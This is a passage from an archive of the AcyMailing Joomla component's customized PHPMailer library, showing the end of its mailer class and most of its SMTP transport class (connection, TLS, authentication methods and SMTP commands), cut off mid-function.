            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class acymailingphpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
        return $errorMsg;
    }
}
com_acymailing/inc/phpmailer/index.html000060400000000054152453734450014255 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/inc/phpmailer/class.smtp.php000060400000122341152453734450015064 0ustar00<?php

acymailing_cmsLoaded();

/**
 * Customized version of PHPMailer by Acyba
 * PHPMailer RFC821 SMTP email transport class.
 * PHP Version 5
 * @package PHPMailer
 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author Brent R. Matzelle (original founder)
 * @copyright 2014 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 * @note This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

/**
 * PHPMailer RFC821 SMTP email transport class.
 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
 * @package PHPMailer
 * @author Chris Ryan
 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
 */
class acymailingSMTP
{
    /**
     * The PHPMailer SMTP version number.
     * @var string
     */
    const VERSION = '5.2.19';

    /**
     * SMTP line break constant.
     * @var string
     */
    const CRLF = "\r\n";

    /**
     * The SMTP port to use if one is not specified.
     * @var integer
     */
    const DEFAULT_SMTP_PORT = 25;

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Debug level for no output
     */
    const DEBUG_OFF = 0;

    /**
     * Debug level to show client -> server messages
     */
    const DEBUG_CLIENT = 1;

    /**
     * Debug level to show client -> server and server -> client messages
     */
    const DEBUG_SERVER = 2;

    /**
     * Debug level to show connection status, client -> server and server -> client messages
     */
    const DEBUG_CONNECTION = 3;

    /**
     * Debug level to show all messages
     */
    const DEBUG_LOWLEVEL = 4;

    /**
     * The PHPMailer SMTP Version number.
     * @var string
     * @deprecated Use the `VERSION` constant instead
     * @see SMTP::VERSION
     */
    public $Version = '5.2.19';

    /**
     * SMTP server port number.
     * @var integer
     * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
     * @see SMTP::DEFAULT_SMTP_PORT
     */
    public $SMTP_PORT = 25;

    /**
     * SMTP reply line ending.
     * @var string
     * @deprecated Use the `CRLF` constant instead
     * @see SMTP::CRLF
     */
    public $CRLF = "\r\n";

    /**
     * Debug output level.
     * Options:
     * * self::DEBUG_OFF (`0`) No debug output, default
     * * self::DEBUG_CLIENT (`1`) Client commands
     * * self::DEBUG_SERVER (`2`) Client commands and server responses
     * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
     * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
     * @var integer
     */
    public $do_debug = self::DEBUG_OFF;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to use VERP.
     * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Info on VERP
     * @var boolean
     */
    public $do_verp = false;

    /**
     * The timeout value for connection, in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
     * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * How long to wait for commands to complete, in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timelimit = 300;
	
	/**
	 * @var array patterns to extract smtp transaction id from smtp reply
	 * Only first capture group will be use, use non-capturing group to deal with it
	 * Extend this class to override this property to fulfil your needs.
	 */
	protected $smtp_transaction_id_patterns = array(
		'exim' => '/[0-9]{3} OK id=(.*)/',
		'sendmail' => '/[0-9]{3} 2.0.0 (.*) Message/',
		'postfix' => '/[0-9]{3} 2.0.0 Ok: queued as (.*)/'
	);

    /**
     * The socket for the server connection.
     * @var resource
     */
    protected $smtp_conn;

    /**
     * Error information, if any, for the last SMTP command.
     * @var array
     */
    protected $error = array(
        'error' => '',
        'detail' => '',
        'smtp_code' => '',
        'smtp_code_ex' => ''
    );

    /**
     * The reply the server sent to us for HELO.
     * If null, no HELO string has yet been received.
     * @var string|null
     */
    protected $helo_rply = null;

    /**
     * The set of SMTP extensions sent in reply to EHLO command.
     * Indexes of the array are extension names.
     * Value at index 'HELO' or 'EHLO' (according to command that was sent)
     * represents the server name. In case of HELO it is the only element of the array.
     * Other values can be boolean TRUE or an array containing extension options.
     * If null, no HELO/EHLO string has yet been received.
     * @var array|null
     */
    protected $server_caps = null;

    /**
     * The most recent reply received from the server.
     * @var string
     */
    protected $last_reply = '';

    /**
     * Output debugging info via a user-selected method.
     * @see SMTP::$Debugoutput
     * @see SMTP::$do_debug
     * @param string $str Debug string to output
     * @param integer $level The debug level of this message; see DEBUG_* constants
     * @return void
     */
    protected function edebug($str, $level = 0)
    {
        if ($level > $this->do_debug) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $level);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                )."\n";
        }
    }

    /**
     * Connect to an SMTP server.
     * @param string $host SMTP server IP or host name
     * @param integer $port The port number to connect to
     * @param integer $timeout How long to wait for the connection to open
     * @param array $options An array of options for stream_context_create()
     * @access public
     * @return boolean
     */
    public function connect($host, $port = null, $timeout = 30, $options = array())
    {
        static $streamok;
        //This is enabled by default since 5.0.0 but some providers disable it
        //Check this once and cache the result
        if (is_null($streamok)) {
            $streamok = function_exists('stream_socket_client');
        }
        // Clear errors to avoid confusion
        $this->setError('');
        // Make sure we are __not__ connected
        if ($this->connected()) {
            // Already connected, generate error
            $this->setError('Already connected to a server');
            return false;
        }
        if (empty($port)) {
            $port = self::DEFAULT_SMTP_PORT;
        }
        // Connect to the SMTP server
        $this->edebug(
            "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
            self::DEBUG_CONNECTION
        );
        $errno = 0;
        $errstr = '';
		ob_start();
        if ($streamok) {
            $socket_context = stream_context_create($options);
            set_error_handler(array($this, 'errorHandler'));
            $this->smtp_conn = stream_socket_client(
                $host . ":" . $port,
                $errno,
                $errstr,
                $timeout,
                STREAM_CLIENT_CONNECT,
                $socket_context
            );
			restore_error_handler();
        } else {
            //Fall back to fsockopen which should work in more places, but is missing some features
            $this->edebug(
                "Connection: stream_socket_client not available, falling back to fsockopen",
                self::DEBUG_CONNECTION
            );
			set_error_handler(array($this, 'errorHandler'));
            $this->smtp_conn = fsockopen(
                $host,
                $port,
                $errno,
                $errstr,
                $timeout
            );
			restore_error_handler();
        }
		$warnings = ob_get_clean();
		$errstr .= ' '.$warnings;
        // Verify we connected properly
        if (!is_resource($this->smtp_conn)) {
            $this->setError(
                'Failed to connect to server',
                $errno,
                $errstr
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error']
                . ": $errstr ($errno)",
                self::DEBUG_CLIENT
            );
            return false;
        }
        $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
        // SMTP server can take longer to respond, give longer timeout for first read
        // Windows does not have support for this timeout function
        if (substr(PHP_OS, 0, 3) != 'WIN') {
            $max = ini_get('max_execution_time');
            // Don't bother if unlimited
            if ($max != 0 && $timeout > $max) {
                @set_time_limit($timeout);
            }
            stream_set_timeout($this->smtp_conn, $timeout, 0);
        }
        // Get any announcement
        $announce = $this->get_lines();
        $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
        return true;
    }

    /**
     * Initiate a TLS (encrypted) session.
     * @access public
     * @return boolean
     */
    public function startTLS()
    {
        if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
            return false;
        }

        //Allow the best TLS version(s) we can
        $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT;

        //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT
        //so add them back in manually if we can
        if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) {
            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;
        }

        // Begin encrypted connection
        if (!stream_socket_enable_crypto(
            $this->smtp_conn,
            true,
            $crypto_method
        )) {
            return false;
        }
        return true;
    }

    /**
     * Perform SMTP authentication.
     * Must be run after hello().
     * @see hello()
     * @param string $username The user name
     * @param string $password The password
     * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5, XOAUTH2)
     * @param string $realm The auth realm for NTLM
     * @param string $workstation The auth workstation for NTLM
     * @param null|OAuth $OAuth An optional OAuth instance (@see PHPMailerOAuth)
     * @return bool True if successfully authenticated.* @access public
     */
    public function authenticate(
        $username,
        $password,
        $authtype = null,
        $realm = '',
        $workstation = '',
        $OAuth = null
    ) {
        if (!$this->server_caps) {
            $this->setError('Authentication is not allowed before HELO/EHLO');
            return false;
        }

        if (array_key_exists('EHLO', $this->server_caps)) {
        // SMTP extensions are available. Let's try to find a proper authentication method

            if (!array_key_exists('AUTH', $this->server_caps)) {
                $this->setError('Authentication is not allowed at this stage');
                // 'at this stage' means that auth may be allowed after the stage changes
                // e.g. after STARTTLS
                return false;
            }

            self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
            self::edebug(
                'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
                self::DEBUG_LOWLEVEL
            );

            if (empty($authtype)) {
                foreach (array('CRAM-MD5', 'LOGIN', 'PLAIN', 'NTLM', 'XOAUTH2') as $method) {
                    if (in_array($method, $this->server_caps['AUTH'])) {
                        $authtype = $method;
                        break;
                    }
                }
                if (empty($authtype)) {
                    $this->setError('No supported authentication methods found');
                    return false;
                }
                self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
            }

            if (!in_array($authtype, $this->server_caps['AUTH'])) {
                $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
                return false;
            }
        } elseif (empty($authtype)) {
            $authtype = 'LOGIN';
        }
        switch ($authtype) {
            case 'PLAIN':
                // Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
                    return false;
                }
                // Send encoded username and password
                if (!$this->sendCommand(
                    'User & Password',
                    base64_encode("\0" . $username . "\0" . $password),
                    235
                )
                ) {
                    return false;
                }
                break;
            case 'LOGIN':
                // Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
                    return false;
                }
                if (!$this->sendCommand("Username", base64_encode($username), 334)) {
                    return false;
                }
                if (!$this->sendCommand("Password", base64_encode($password), 235)) {
                    return false;
                }
                break;
            case 'XOAUTH2':
                //If the OAuth Instance is not set. Can be a case when PHPMailer is used
                //instead of PHPMailerOAuth
                if (is_null($OAuth)) {
                    return false;
                }
                $oauth = $OAuth->getOauth64();

                // Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) {
                    return false;
                }
                break;
            case 'NTLM':
                /*
                 * ntlm_sasl_client.php
                 * Bundled with Permission
                 *
                 * How to telnet in windows:
                 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
                 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
                 */
                require_once 'extras/ntlm_sasl_client.php';
                $temp = new stdClass;
                $ntlm_client = new ntlm_sasl_client_class;
                //Check that functions are available
                if (!$ntlm_client->initialize($temp)) {
                    $this->setError($temp->error);
                    $this->edebug(
                        'You need to enable some modules in your php.ini file: '
                        . $this->error['error'],
                        self::DEBUG_CLIENT
                    );
                    return false;
                }
                //msg1
                $msg1 = $ntlm_client->typeMsg1($realm, $workstation); //msg1

                if (!$this->sendCommand(
                    'AUTH NTLM',
                    'AUTH NTLM ' . base64_encode($msg1),
                    334
                )
                ) {
                    return false;
                }
                //Though 0 based, there is a white space after the 3 digit number
                //msg2
                $challenge = substr($this->last_reply, 3);
                $challenge = base64_decode($challenge);
                $ntlm_res = $ntlm_client->NTLMResponse(
                    substr($challenge, 24, 8),
                    $password
                );
                //msg3
                $msg3 = $ntlm_client->typeMsg3(
                    $ntlm_res,
                    $username,
                    $realm,
                    $workstation
                );
                // send encoded username
                return $this->sendCommand('Username', base64_encode($msg3), 235);
            case 'CRAM-MD5':
                // Start authentication
                if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
                    return false;
                }
                // Get the challenge
                $challenge = base64_decode(substr($this->last_reply, 4));

                // Build the response
                $response = $username . ' ' . $this->hmac($challenge, $password);

                // send encoded credentials
                return $this->sendCommand('Username', base64_encode($response), 235);
            default:
                $this->setError("Authentication method \"$authtype\" is not supported");
                return false;
        }
        return true;
    }

    /**
     * Calculate an MD5 HMAC hash.
     * Works like hash_hmac('md5', $data, $key)
     * in case that function is not available
     * @param string $data The data to hash
     * @param string $key  The key to hash with
     * @access protected
     * @return string
     */
    protected function hmac($data, $key)
    {
        if (function_exists('hash_hmac')) {
            return hash_hmac('md5', $data, $key);
        }

        // The following borrowed from
        // http://php.net/manual/en/function.mhash.php#27225

        // RFC 2104 HMAC implementation for php.
        // Creates an md5 HMAC.
        // Eliminates the need to install mhash to compute a HMAC
        // by Lance Rushing

        $bytelen = 64; // byte length for md5
        if (strlen($key) > $bytelen) {
            $key = pack('H*', md5($key));
        }
        $key = str_pad($key, $bytelen, chr(0x00));
        $ipad = str_pad('', $bytelen, chr(0x36));
        $opad = str_pad('', $bytelen, chr(0x5c));
        $k_ipad = $key ^ $ipad;
        $k_opad = $key ^ $opad;

        return md5($k_opad . pack('H*', md5($k_ipad . $data)));
    }

    /**
     * Check connection state.
     * @access public
     * @return boolean True if connected.
     */
    public function connected()
    {
        if (is_resource($this->smtp_conn)) {
            $sock_status = stream_get_meta_data($this->smtp_conn);
            if ($sock_status['eof']) {
                // The socket is valid but we are not connected
                $this->edebug(
                    'SMTP NOTICE: EOF caught while checking if connected',
                    self::DEBUG_CLIENT
                );
                $this->close();
                return false;
            }
            return true; // everything looks good
        }
        return false;
    }

    /**
     * Close the socket and clean up the state of the class.
     * Don't use this function without first trying to use QUIT.
     * @see quit()
     * @access public
     * @return void
     */
    public function close()
    {
        $this->setError('');
        $this->server_caps = null;
        $this->helo_rply = null;
        if (is_resource($this->smtp_conn)) {
            // close the connection and cleanup
            fclose($this->smtp_conn);
            $this->smtp_conn = null; //Makes for cleaner serialization
            $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
        }
    }

    /**
     * Send an SMTP DATA command.
     * Issues a data command and sends the msg_data to the server,
     * finializing the mail transaction. $msg_data is the message
     * that is to be send with the headers. Each header needs to be
     * on a single line followed by a <CRLF> with the message headers
     * and the message body being separated by and additional <CRLF>.
     * Implements rfc 821: DATA <CRLF>
     * @param string $msg_data Message data to send
     * @access public
     * @return boolean
     */
    public function data($msg_data)
    {
        //This will use the standard timelimit
        if (!$this->sendCommand('DATA', 'DATA', 354)) {
            return false;
        }

        /* The server is ready to accept data!
         * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
         * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
         * smaller lines to fit within the limit.
         * We will also look for lines that start with a '.' and prepend an additional '.'.
         * NOTE: this does not count towards line-length limit.
         */

        // Normalize line breaks before exploding
        $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));

        /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
         * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
         * process all lines before a blank line as headers.
         */

        $field = substr($lines[0], 0, strpos($lines[0], ':'));
        $in_headers = false;
        if (!empty($field) && strpos($field, ' ') === false) {
            $in_headers = true;
        }

        foreach ($lines as $line) {
            $lines_out = array();
            if ($in_headers and $line == '') {
                $in_headers = false;
            }
            //Break this line up into several smaller lines if it's too long
            //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len),
            while (isset($line[self::MAX_LINE_LENGTH])) {
                //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
                //so as to avoid breaking in the middle of a word
                $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
                //Deliberately matches both false and 0
                if (!$pos) {
                    //No nice break found, add a hard break
                    $pos = self::MAX_LINE_LENGTH - 1;
                    $lines_out[] = substr($line, 0, $pos);
                    $line = substr($line, $pos);
                } else {
                    //Break at the found point
                    $lines_out[] = substr($line, 0, $pos);
                    //Move along by the amount we dealt with
                    $line = substr($line, $pos + 1);
                }
                //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
                if ($in_headers) {
                    $line = "\t" . $line;
                }
            }
            $lines_out[] = $line;

            //Send the lines to the server
            foreach ($lines_out as $line_out) {
                //RFC2821 section 4.5.2
                if (!empty($line_out) and $line_out[0] == '.') {
                    $line_out = '.' . $line_out;
                }
                $this->client_send($line_out . self::CRLF);
            }
        }

        //Message data has been sent, complete the command
        //Increase timelimit for end of DATA command
        $savetimelimit = $this->Timelimit;
        $this->Timelimit = $this->Timelimit * 2;
        $result = $this->sendCommand('DATA END', '.', 250);
        //Restore timelimit
        $this->Timelimit = $savetimelimit;
        return $result;
    }

    /**
     * Send an SMTP HELO or EHLO command.
     * Used to identify the sending server to the receiving server.
     * This makes sure that client and server are in a known state.
     * Implements RFC 821: HELO <SP> <domain> <CRLF>
     * and RFC 2821 EHLO.
     * @param string $host The host name or IP to connect to
     * @access public
     * @return boolean
     */
    public function hello($host = '')
    {
        //Try extended hello first (RFC 2821)
        return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
    }

    /**
     * Send an SMTP HELO or EHLO command.
     * Low-level implementation used by hello()
     * @see hello()
     * @param string $hello The HELO string
     * @param string $host The hostname to say we are
     * @access protected
     * @return boolean
     */
    protected function sendHello($hello, $host)
    {
        $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
        $this->helo_rply = $this->last_reply;
        if ($noerror) {
            $this->parseHelloFields($hello);
        } else {
            $this->server_caps = null;
        }
        return $noerror;
    }

    /**
     * Parse a reply to HELO/EHLO command to discover server extensions.
     * In case of HELO, the only parameter that can be discovered is a server name.
     * @access protected
     * @param string $type - 'HELO' or 'EHLO'
     */
    protected function parseHelloFields($type)
    {
        $this->server_caps = array();
        $lines = explode("\n", $this->helo_rply);

        foreach ($lines as $n => $s) {
            //First 4 chars contain response code followed by - or space
            $s = trim(substr($s, 4));
            if (empty($s)) {
                continue;
            }
            $fields = explode(' ', $s);
            if (!empty($fields)) {
                if (!$n) {
                    $name = $type;
                    $fields = $fields[0];
                } else {
                    $name = array_shift($fields);
                    switch ($name) {
                        case 'SIZE':
                            $fields = ($fields ? $fields[0] : 0);
                            break;
                        case 'AUTH':
                            if (!is_array($fields)) {
                                $fields = array();
                            }
                            break;
                        default:
                            $fields = true;
                    }
                }
                $this->server_caps[$name] = $fields;
            }
        }
    }

    /**
     * Send an SMTP MAIL command.
     * Starts a mail transaction from the email address specified in
     * $from. Returns true if successful or false otherwise. If True
     * the mail transaction is started and then one or more recipient
     * commands may be called followed by a data command.
     * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
     * @param string $from Source address of this message
     * @access public
     * @return boolean
     */
    public function mail($from)
    {
        $useVerp = ($this->do_verp ? ' XVERP' : '');
        return $this->sendCommand(
            'MAIL FROM',
            'MAIL FROM:<' . $from . '>' . $useVerp,
            250
        );
    }

    /**
     * Send an SMTP QUIT command.
     * Closes the socket if there is no error or the $close_on_error argument is true.
     * Implements from rfc 821: QUIT <CRLF>
     * @param boolean $close_on_error Should the connection close if an error occurs?
     * @access public
     * @return boolean
     */
    public function quit($close_on_error = true)
    {
        $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
        $err = $this->error; //Save any error
        if ($noerror or $close_on_error) {
            $this->close();
            $this->error = $err; //Restore any error from the quit command
        }
        return $noerror;
    }

    /**
     * Send an SMTP RCPT command.
     * Sets the TO argument to $toaddr.
     * Returns true if the recipient was accepted false if it was rejected.
     * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
     * @param string $address The address the message is being sent to
     * @access public
     * @return boolean
     */
    public function recipient($address)
    {
        return $this->sendCommand(
            'RCPT TO',
            'RCPT TO:<' . $address . '>',
            array(250, 251)
        );
    }

    /**
     * Send an SMTP RSET command.
     * Abort any transaction that is currently in progress.
     * Implements rfc 821: RSET <CRLF>
     * @access public
     * @return boolean True on success.
     */
    public function reset()
    {
        return $this->sendCommand('RSET', 'RSET', 250);
    }

    /**
     * Send a command to an SMTP server and check its return code.
     * @param string $command The command name - not sent to the server
     * @param string $commandstring The actual command to send
     * @param integer|array $expect One or more expected integer success codes
     * @access protected
     * @return boolean True on success.
     */
    protected function sendCommand($command, $commandstring, $expect)
    {
        if (!$this->connected()) {
            $this->setError("Called $command without being connected");
            return false;
        }
        //Reject line breaks in all commands
        if (strpos($commandstring, "\n") !== false or strpos($commandstring, "\r") !== false) {
            $this->setError("Command '$command' contained line breaks");
            return false;
        }
        $this->client_send($commandstring . self::CRLF);

        $this->last_reply = $this->get_lines();
        // Fetch SMTP code and possible error code explanation
        $matches = array();
        if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
            $code = $matches[1];
            $code_ex = (count($matches) > 2 ? $matches[2] : null);
            // Cut off error code from each response line
            $detail = preg_replace(
                "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
                '',
                $this->last_reply
            );
        } else {
            // Fall back to simple parsing if regex fails
            $code = substr($this->last_reply, 0, 3);
            $code_ex = null;
            $detail = substr($this->last_reply, 4);
        }

        $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);

        if (!in_array($code, (array)$expect)) {
            $this->setError(
                "$command command failed",
                $detail,
                $code,
                $code_ex
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
                self::DEBUG_CLIENT
            );
            return false;
        }

        $this->setError('');
        return true;
    }

    /**
     * Send an SMTP SAML command.
     * Starts a mail transaction from the email address specified in $from.
     * Returns true if successful or false otherwise. If True
     * the mail transaction is started and then one or more recipient
     * commands may be called followed by a data command. This command
     * will send the message to the users terminal if they are logged
     * in and send them an email.
     * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
     * @param string $from The address the message is from
     * @access public
     * @return boolean
     */
    public function sendAndMail($from)
    {
        return $this->sendCommand('SAML', "SAML FROM:$from", 250);
    }

    /**
     * Send an SMTP VRFY command.
     * @param string $name The name to verify
     * @access public
     * @return boolean
     */
    public function verify($name)
    {
        return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
    }

    /**
     * Send an SMTP NOOP command.
     * Used to keep keep-alives alive, doesn't actually do anything
     * @access public
     * @return boolean
     */
    public function noop()
    {
        return $this->sendCommand('NOOP', 'NOOP', 250);
    }

    /**
     * Send an SMTP TURN command.
     * This is an optional command for SMTP that this class does not support.
     * This method is here to make the RFC821 Definition complete for this class
     * and _may_ be implemented in future
     * Implements from rfc 821: TURN <CRLF>
     * @access public
     * @return boolean
     */
    public function turn()
    {
        $this->setError('The SMTP TURN command is not implemented');
        $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
        return false;
    }

    /**
     * Send raw data to the server.
     * @param string $data The data to send
     * @access public
     * @return integer|boolean The number of bytes sent to the server or false on error
     */
    public function client_send($data)
    {
		if ($this->do_debug > 1) {
			$this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
		}
        return fwrite($this->smtp_conn, $data);
    }

    /**
     * Get the latest error.
     * @access public
     * @return array
     */
    public function getError()
    {
        return $this->error;
    }

    /**
     * Get SMTP extensions available on the server
     * @access public
     * @return array|null
     */
    public function getServerExtList()
    {
        return $this->server_caps;
    }

    /**
     * A multipurpose method
     * The method works in three ways, dependent on argument value and current state
     *   1. HELO/EHLO was not sent - returns null and set up $this->error
     *   2. HELO was sent
     *     $name = 'HELO': returns server name
     *     $name = 'EHLO': returns boolean false
     *     $name = any string: returns null and set up $this->error
     *   3. EHLO was sent
     *     $name = 'HELO'|'EHLO': returns server name
     *     $name = any string: if extension $name exists, returns boolean True
     *       or its options. Otherwise returns boolean False
     * In other words, one can use this method to detect 3 conditions:
     *  - null returned: handshake was not or we don't know about ext (refer to $this->error)
     *  - false returned: the requested feature exactly not exists
     *  - positive value returned: the requested feature exists
     * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
     * @return mixed
     */
    public function getServerExt($name)
    {
        if (!$this->server_caps) {
            $this->setError('No HELO/EHLO was sent');
            return null;
        }

        // the tight logic knot ;)
        if (!array_key_exists($name, $this->server_caps)) {
            if ($name == 'HELO') {
                return $this->server_caps['EHLO'];
            }
            if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
                return false;
            }
            $this->setError('HELO handshake was used. Client knows nothing about server extensions');
            return null;
        }

        return $this->server_caps[$name];
    }

    /**
     * Get the last reply from the server.
     * @access public
     * @return string
     */
    public function getLastReply()
    {
        return $this->last_reply;
    }

    /**
     * Read the SMTP server's response.
     * Either before eof or socket timeout occurs on the operation.
     * With SMTP we can tell if we have more lines to read if the
     * 4th character is '-' symbol. If it is a space then we don't
     * need to read anything else.
     * @access protected
     * @return string
     */
    protected function get_lines()
    {
        // If the connection is bad, give up straight away
        if (!is_resource($this->smtp_conn)) {
            return '';
        }
        $data = '';
        $endtime = 0;
        stream_set_timeout($this->smtp_conn, $this->Timeout);
        if ($this->Timelimit > 0) {
            $endtime = time() + $this->Timelimit;
        }
        do {
            $str = @fgets($this->smtp_conn, 515);
            $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
            $this->edebug("SMTP -> get_lines(): \$str is  \"$str\"", self::DEBUG_LOWLEVEL);
            $data .= $str;
            // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
            if ((isset($str[3]) and $str[3] == ' ')) {
                break;
            }
            // Timed-out? Log and break
            $info = stream_get_meta_data($this->smtp_conn);
            if ($info['timed_out']) {
                $this->edebug(
                    'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
